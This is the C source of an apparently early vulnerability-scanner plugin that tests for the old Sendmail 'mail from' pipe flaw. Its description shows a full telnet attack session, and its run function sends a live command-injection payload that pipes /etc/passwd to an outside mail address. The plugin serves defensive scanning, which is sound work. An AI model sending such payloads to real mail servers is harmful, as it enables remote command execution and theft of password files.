/*
 * 
 * sendmail_program
 *
 * This plugin was written by Renaud Deraison and is released
 * under the GPL
 *
 */
#include <includes.h> 

#define NAME "Sendmail : mail from: <|program>"
#define DESC "\
Some versions of sendmail allow a remote user to use pipes\n\
in usernames, thus allowing him to execute remote commands\n\
as root. This exploit is very popular...\n\
A typical attack to get the password file is:\n\
\n\
\n\
% telnet target.com 25\n\
Trying 123.456.789.0...\n\
Connected to target.com\n\
Escape character is '^]'.\n\
220 target.com Sendmail 5.55 ready at Mon, 12 Dec 93 23:51\n\
mail from: \"|/bin/mail me@myhost.com < /etc/passwd\"\n\
250 \"|/bin/mail me@myhost.com < /etc/passwd\"... Sender ok\n\
rcpt to: mickeymouse\n\
550 mickeymouse... User unknown\n\
data\n\
354 Enter mail, end with \".\" on a line by itself \n\
.\n\
250 Mail accepted\n\
quit\n\
Connection closed by foreign host. \n\n\
Risk factor : High"
#define COPYRIGHT "no copyright"
#define SUMM "use a pipe to make sendmail execute a program"




PlugExport int plugin_init(struct arglist *desc);
PlugExport int plugin_init(struct arglist *desc)
{
	plug_set_name(desc, NAME);
	plug_set_description(desc, DESC);
	plug_set_summary(desc, SUMM);
	plug_set_copyright(desc, COPYRIGHT);
	plug_set_category(desc, ACT_GATHER_INFO);
	plug_set_family(desc, "Sendmail");
	return(0);
}




PlugExport int plugin_run(struct arglist * args);	
PlugExport int plugin_run(struct arglist * args)
{
	int soc;
	char * buf;
	
	
	if(host_get_port_state(args, 25)<=0)return(0);
	soc = open_sock_tcp(args, 25);
	if(soc<0)return(-1);
	buf = emalloc(2048);
	recv_line(soc, buf, 2047);
	sprintf(buf, "mail from: \"|/bin/mail %s < %s\"\n",
	get_preference(args, "email"),
	get_preference(args, "test_file"));
	send(soc, buf, strlen(buf),0);
	recv_line(soc, buf, 2047);
	if(!strncmp(buf, "250 ", 4))
	{
	 sprintf(buf,
"Sendmail is vulnerable to the 'mail from: program' attack\n\
The file %s has been sent to %s\n\n\
Solution : upgrade", get_preference(args, "test_file"), 
	get_preference(args, "email"));
	post_hole(args, 25, buf);
	sprintf(buf, "rcpt to: bouncebounce\n");
	send(soc, buf, strlen(buf),0);
	recv_line(soc, buf, 2047);
	sprintf(buf, "data\n.\n");
	send(soc, buf, strlen(buf),0);
	recv_line(soc, buf, 2047);
	}
	sprintf(buf, "quit\n");
	send(soc, buf, strlen(buf),0);
	socket_close(soc);
	efree(&buf);
	return(0);
}
